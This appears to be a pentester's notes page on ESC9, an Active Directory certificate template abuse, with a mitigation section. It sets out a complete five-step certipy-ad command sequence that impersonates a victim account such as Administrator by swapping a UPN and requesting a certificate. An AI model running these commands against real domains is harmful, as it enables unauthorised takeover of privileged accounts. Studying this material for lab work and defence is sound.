đź§ Active Directory - ESC9 (No Security Extension) Abuse
What is it?
- Concept: A certificate template with the
CT_FLAG_NO_SECURITY_EXTENSIONflag set produces certificates that carry no strong (SID-backed) binding to the account that requested them — the KDC then has to map the certificate to an account using weaker means, namely theuserPrincipalNameon the certificate. If an attacker can both enroll for such a template and write another account’suserPrincipalName, they can temporarily impersonate that account’s UPN, request a certificate, and get back a login credential for it. - Impact: Turns enrollment rights on one specific template plus
GenericWrite/GenericAllover any account’s UPN attribute into full authentication as a completely different, arbitrary account — commonly escalated straight toAdministrator.
How it works
certipy-ad find -vulnerableflags a template as ESC9 when: the requesting principal can enroll in it, and it lacks the security extension (no strong SID binding embedded in issued certs).- The attacker changes their own controlled account’s
userPrincipalNameto match the victim’s name (commonly literallyAdministrator) — this only requires write access to their own UPN, or write access to any account they already control via a prior chain (e.g. one gained via Active Directory - Shadow Credentials Attack or Active Directory - ACL Abuse (GenericAll & ForceChangePassword)). - The attacker requests a certificate from the vulnerable template as that account — since the template has no security extension, the issued certificate’s identity is resolved from the UPN, which now reads
Administrator. - The UPN is changed back to its original value immediately (so the real
Administratoraccount isn’t left broken/duplicated), and the attacker authenticates with the freshly-issued certificate — the KDC hands back a TGT (and, if binding enforcement allows it, the NT hash) forAdministrator.
Exploitation
Prerequisites
- Enrollment rights on a certificate template flagged
ESC9bycertipy-ad find -vulnerable(no security extension + requester can enroll) GenericWrite/GenericAll/WritePropertyover theuserPrincipalNameof the account requesting the certificate (often the attacker’s own already-controlled account)
Attack Vectors
# 1. Confirm the template is actually vulnerable and note its exact name + CA name
certipy-ad find -u '<user>@<domain>' -p '<pass>' -dc-ip <dc_ip> -vulnerable -stdout
# 2. Point the controlled account's UPN at the victim
certipy-ad account update -u '<user>@<domain>' -p '<pass>' -user '<controlled_account>' -upn '<victim>' -dc-ip <dc_ip>
# 3. Request a certificate from the vulnerable template as the controlled account
certipy-ad req -u '<controlled_account>@<domain>' -p '<controlled_pass>' -ca '<ca_name>' -template '<vulnerable_template>' -dc-ip <dc_ip>
# 4. Restore the original UPN so the real account isn't left broken
certipy-ad account update -u '<user>@<domain>' -p '<pass>' -user '<controlled_account>' -upn '<controlled_account>@<domain>' -dc-ip <dc_ip>
# 5. Authenticate with the certificate obtained in step 3 as the victim
certipy-ad auth -pfx '<victim>.pfx' -domain '<domain>' -dc-ip <dc_ip>Notes
- Step 4 (restoring the UPN) matters for more than tidiness — leaving two accounts with the same UPN can break logon for the real target account until it’s fixed, which is both noisy and a nuisance on an engagement.
- ESC9 specifically targets accounts without a strong mapping already set (no explicit
altSecurityIdentitiesbinding) — if the victim account already has one,StrongCertificateBindingEnforcementwill reject the impersonation attempt regardless of the UPN trick. - This is functionally the modern replacement for the pre-2022 default behavior every template implicitly had before Microsoft’s certificate-mapping hardening updates — ESC9 only exists as a distinct, named issue because that hardening now has to be explicitly bypassed rather than relied on by default.
Mitigation
- Fix: Remove
CT_FLAG_NO_SECURITY_EXTENSIONfrom templates that don’t specifically need it, and setStrongCertificateBindingEnforcementto2domain-wide so certificates without a strong SID mapping are rejected outright rather than falling back to UPN-based resolution.
Related Usage
| File | Created |
|---|---|
| HTB - Certified | July 23, 2026 |
References: